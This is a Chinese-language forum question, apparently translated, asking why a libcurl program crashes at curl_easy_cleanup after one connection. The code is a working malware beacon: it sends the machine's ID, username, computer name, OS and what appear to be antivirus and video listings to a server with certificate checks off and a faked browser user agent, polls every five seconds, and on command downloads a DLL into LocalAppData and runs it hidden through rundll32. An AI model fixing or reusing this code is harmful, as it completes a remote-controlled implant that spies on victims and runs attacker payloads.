您好,我正在使用 libcurl 和 VS 2022 在服务器上上传数据。
curl = curl_easy_init();
if (curl)
{
curl_formadd(&post, &last, CURLFORM_COPYNAME, "id",
CURLFORM_COPYCONTENTS, uuid_output, CURLFORM_END);
curl_formadd(&post, &last, CURLFORM_COPYNAME, "username",
CURLFORM_COPYCONTENTS, user_output, CURLFORM_END);
curl_formadd(&post, &last, CURLFORM_COPYNAME, "compname",
CURLFORM_COPYCONTENTS, comp_output, CURLFORM_END);
curl_formadd(&post, &last, CURLFORM_COPYNAME, "lastupdate",
CURLFORM_COPYCONTENTS, os_output, CURLFORM_END);
if (is_x64)
{
curl_formadd(&post, &last, CURLFORM_COPYNAME, "arch",
CURLFORM_COPYCONTENTS, "1", CURLFORM_END);
}
else
{
curl_formadd(&post, &last, CURLFORM_COPYNAME, "arch",
CURLFORM_COPYCONTENTS, "0", CURLFORM_END);
}
curl_formadd(&post, &last, CURLFORM_COPYNAME, "documents",
CURLFORM_COPYCONTENTS, vid_output, CURLFORM_END);
curl_formadd(&post, &last, CURLFORM_COPYNAME, "images",
CURLFORM_COPYCONTENTS, av_output, CURLFORM_END);
curl_easy_setopt(curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/210.0");
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(curl, CURLOPT_URL, SERVICE_URL);
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, post);
//curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
//curl_easy_setopt(curl, CURLOPT_HEADER, 1L);
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
//MessageBoxA(NULL, curl_easy_strerror(res), NULL, MB_OK);
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
}
curl_easy_cleanup(curl);
curl_formfree(post);
}
while (true)
{
res = curl_easy_perform(curl);
if (res != CURLE_OK)
{
fprintf(stderr, "curl_easy_perform() failed: %s\n", curl_easy_strerror(res));
return -1;
}
else
{
// Now check the response
if (lstrcmpA(curl_resp, "1") == 0)
{
// Deploy updates
PWCHAR szLocalAppData;
WCHAR szPayloadPath[2048], * szExecution;
SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &szLocalAppData);
ZeroMemory(szPayloadPath, sizeof(szPayloadPath));
lstrcpy(szPayloadPath, szLocalAppData);
lstrcat(szPayloadPath, L"\\BGM107.dll");
DWORD dll_len;
LPSTR dll_data = DownloadURLToBuffer(DLL_URL, &dll_len);
HANDLE hFile;
DWORD junk;
hFile = CreateFile(szPayloadPath, GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(hFile, dll_data, dll_len, &junk, NULL);
CloseHandle(hFile);
// Execute
ZeroMemory(execution_string, sizeof(execution_string));
wsprintf(execution_string, L"/k rundll32 %s,runinstaller", szPayloadPath);
ShellExecute(NULL, L"open", L"cmd.exe", execution_string, NULL, SW_HIDE);
GlobalFree(dll_data);
is_deploy = TRUE;
}
}
GlobalFree(curl_resp);
if (is_deploy) return 1;
Sleep(5000);
}
}
curl_easy_cleanup(curl);
curl_formfree(post);
GlobalFree(id_output);
CoUninitialize();
return 0;
}
以上是我的代码片段。它总是在 curl_easy_cleanup(curl) 上崩溃;建立 1 次连接,然后可执行文件崩溃。我做错了什么。它似乎主要在第二个代码片段中崩溃。因为 while 循环。任何建议,将不胜感激。谢谢
试过 curl_global_init 和 curl_global_cleanup。但它仍然在崩溃。